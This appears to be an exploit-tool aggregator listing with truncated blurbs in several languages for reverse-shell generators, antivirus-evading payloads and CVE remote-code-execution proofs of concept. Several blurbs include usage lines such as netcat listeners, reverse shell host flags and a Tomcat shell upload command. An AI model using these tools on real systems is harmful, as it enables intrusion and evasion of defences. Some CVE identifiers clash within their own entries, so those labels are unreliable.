ms09-050-CVE-2009-3103-exploit

Contenedor de Exploit MS09-050 SMBv2 Configuración de una sola línea para la explotación de MS09-050 CVE-2009-3103. Sin complicaciones, sin depuración, simplemente funciona. ¿Por qué? La mayoría de los scripts de MS09-050 que circulan requieren inyección manual de shellcode, tienen problemas de...

CVE-2021-22205

CVE-2021-22205 CVE-2021-22205 RCE 工具仅用于分享交流，切勿用于非授权测试，否则与作者无关 root@kitploit: -R string VPS to load tools eg: -R 127.0.0.1:8083 -T string Tool name eg: -T fscan -c string exec cmd eg: -c "id" default "id" -host string reverse shell host -m string Method for using of CVE-2021-22205 eg:-m...

revshellgen

🚀 RevShellGen 反向 Shell 生成器 以优雅的方式自动化反向 Shell 生成 生成、编码、捕获反向 Shell，省去繁琐操作 功能 • 安装 • 用法 • Shell 类型 • 贡献 📖 关于 RevShellGen 是一个强大的命令行工具，简化了生成反向 Shell 命令的过程。无需再查找语法，无需手动编码，无需头疼的配置。本工具通过直观的界面处理一切。 🎯 主要功能 🖥️ 交互式 CLI - 用户友好的菜单驱动界面 🔄 自动编码 - 支持 URL 和 Base64 编码 📋 剪贴板集成 - 自动复制生成的命令 🌐 网络检测 - 自动发现 IP 地址 🎨 多种...

revshellgen

🚀 RevShellGen Reverse Shell Generator Automate reverse shell generation with style Generate, encode, and catch reverse shells without the hassle Features • Installation • Usage • Shell Types • Contributing 📖 About RevShellGen is a powerful command-line tool that simplifies the process of generati...

CVE-2018-2380

CVE-2018-2380 Puntuación base CVSS v3: 6.6/10 PoC de ejecución remota de comandos mediante inyección de logs en SAP NetWeaver AS JAVA CRM Ejemplo de uso del script root@kitploit: python crmrce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0...

CVE-2023-26067

CVE-2023-34362 POCs para volcado de credenciales, shells inversas y reproducción de música abusando de una inyección de comandos, CVE-2023-26067, que afecta a impresoras Lexmark. Análisis Técnico Un análisis técnico de la causa raíz de la vulnerabilidad se puede encontrar en nuestro blog:...

CrestCrack

CrestCrack CrestCrack es un script simple que explota CVE-2016-5640 / CLVA-2016-05-002 en Crestron AirMedia AM-100 v1.1.1.11 - v1.2.1. Al proporcionarle argumentos, CrestCrack utilizará netcat para crear una reverse shell entre tu objetivo y un listener netcat de tu elección. Configuración: 1...

gitbleed_tools

GitBleed Tools - for extracting data from mirrorred git repositories About This repo contains shell scripts that can be used to download and analyze differences between cloned and mirror Git repositories. For more information about the underlying quirk in Git behavior, please visit read our blog...

warsend

WARSend Subida de WAR Shell en la API de Apache Tomcat Manager Requisitos previos Credenciales Acceso a la API de texto de Tomcat Manager root@kitploit: $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/...

WebLogic-Shiro-shell

Java反序列化技术分享 本次分享涉及的东西有以下几点： 1. Java序列化和反序列化基础 2. 为什么在反序列化的时候会产生漏洞？ 3. Java反射 4. ysoserial CommonsCollections2、CommonsCollections5 5. Java ClassLoader 加载类的几种方法 6. WebLogic CVE-2020-2555 CVE-2020-2883 RCE 7. Shiro-550 rememberMe 硬编码导致的反序列化RCE 8. WebLogic + Shiro 反序列化一键注册filter内存shell Java序列化和反序列化基...

fudshell

fudshell 一款高效的脚本，用于生成红队所需的FUD持久反向Shell。请勿将生成的载荷上传至VirusTotal 警告： root@kitploit: 请勿将任何载荷上传至VirusTotal。如果被检测到，请告知我， 我会更新载荷。 如果需要Cobalt Strike规避方案，请通过Telegram联系我：@R0ot1337 使用方法： root@kitploit: 1. 输入LHOST（你的IP地址） 2. 输入LPORT（你的端口） 3. 生成PowerShell载荷后。 4. 使用netcat监听（nc -lvnp 你在LPORT中指定的端口） 安装：...

CVE-2021-4034

Información root@kitploit: Exploit Title: Local Privilege Escalation in polkit's pkexec CVE-2021-4034 Date: 01/25/2022 Exploit Author: Qualys Research Team Tested on: ubuntu 20.04.1 LTS CVE ID: CVE-2021-27928 Cómo explotar Entorno de prueba： Paso 1：compila el exploit de...

CVE-2021-31762

CSRF-to-RCE ..| CVE-2021-31762 |.. Descripción : Explotando un ataque de falsificación de petición en sitios cruzados CSRF para crear un usuario privilegiado a través de la función de añadir usuarios de Webmin y luego obtener una shell inversa a través de la función de procesos en ejecución de...

StrutsShell

StrutsShell Apache Struts CVE-2017-5638 Shell Introducción La "LowNoiseHG LNHG Struts Shell " "StrutsShell " de ahora en adelante fue concebida en marzo de 2017 tras darse cuenta de la utilidad de no tener que explotar manualmente Apache Struts CVE-2017-5638 solicitudes HTTP GET a mano y tras dar...

Worpress-CVE-2023-5360

CVE-2023-5360 CVE-2023-5360 Auto Shell Upload WordPress Royal Elementor 1.3.78 Shell Upload Visita https://phankz.com...

HTTP-revshell

Powershell HTTP/S Reverse Shell HTTP-revshell is a tool focused on redteam exercises and pentesters. This tool provides a reverse connection through the http/s protocol. It uses a covert channel to gain control over the victim machine through web requests and thus evade solutions such as IDS, IPS...

CVE-2024-50379-POC

CVE-2024-50379-POC 此仓库包含一个Python脚本，用于利用CVE-2024-50379 漏洞，该漏洞允许攻击者向易受攻击的服务器上传JSP shell并远程执行任意命令。当目标服务器上的/uploads目录未受保护或缺失时，此利用工具尤为有用。 概述 CVE-2024-50379 是一个影响服务器文件上传处理不当的漏洞，使攻击者能够上传JSP shell。该shell随后可用于远程执行任意命令。提供的Python脚本通过将shell上传到易受攻击的服务器并允许通过命令行界面与服务器交互，自动化了这一过程。 前提条件 在运行脚本之前，请确保已安装以下内容： Python...

CVE-2018-15982

Créditos @Ridter https://github.com/Ridter/CVE-2018-15982EXP @prsecurity https://github.com/prsecurity/CVE-2018-15982 Descripción Script de Aggressor para lanzar un ataque driveby de Internet Explorer mediante el exploit CVE-2018-15982 para Flash player. Versiones de producto afectadas Adobe Flas...

CVE-2024-7808

CVE-2024-7808 💀 $$\colorred ESTE \space EXPLOIT \space PUEDE \space VIOLAR \space LA \space LEY.$$ $$\colorred\space USTED \space ES \space RESPONSABLE \space DE \space SUS \space ACCIONES.$$ $$\colorredSOLO \space CON \space FINES \space DE \space DEMOSTRACIÓN.$$ DESCRIPCIÓN RCE por usuarios no...

GeoServer-Tools-CVE-2024-36401

GeoServer-Tools-CVE-2024-36401 CVE-2024-36401 图形化利用工具，支持各个JDK版本利用以及回显、内存马实现 影响版本： GeoServer 2.23.6 2.24.0 = GeoServer 2.24.4 2.25.0 = GeoServer 2.25.2 近期HW发现该漏洞还是很常见的，但一直没有一个顺手的工具，这里参考：https://github.com/whitebear-ch/GeoServerExploit 的思路重新写了这份工具 0x01 安装 构建工件即可 0x02 使用 JDK8启动：java -jar...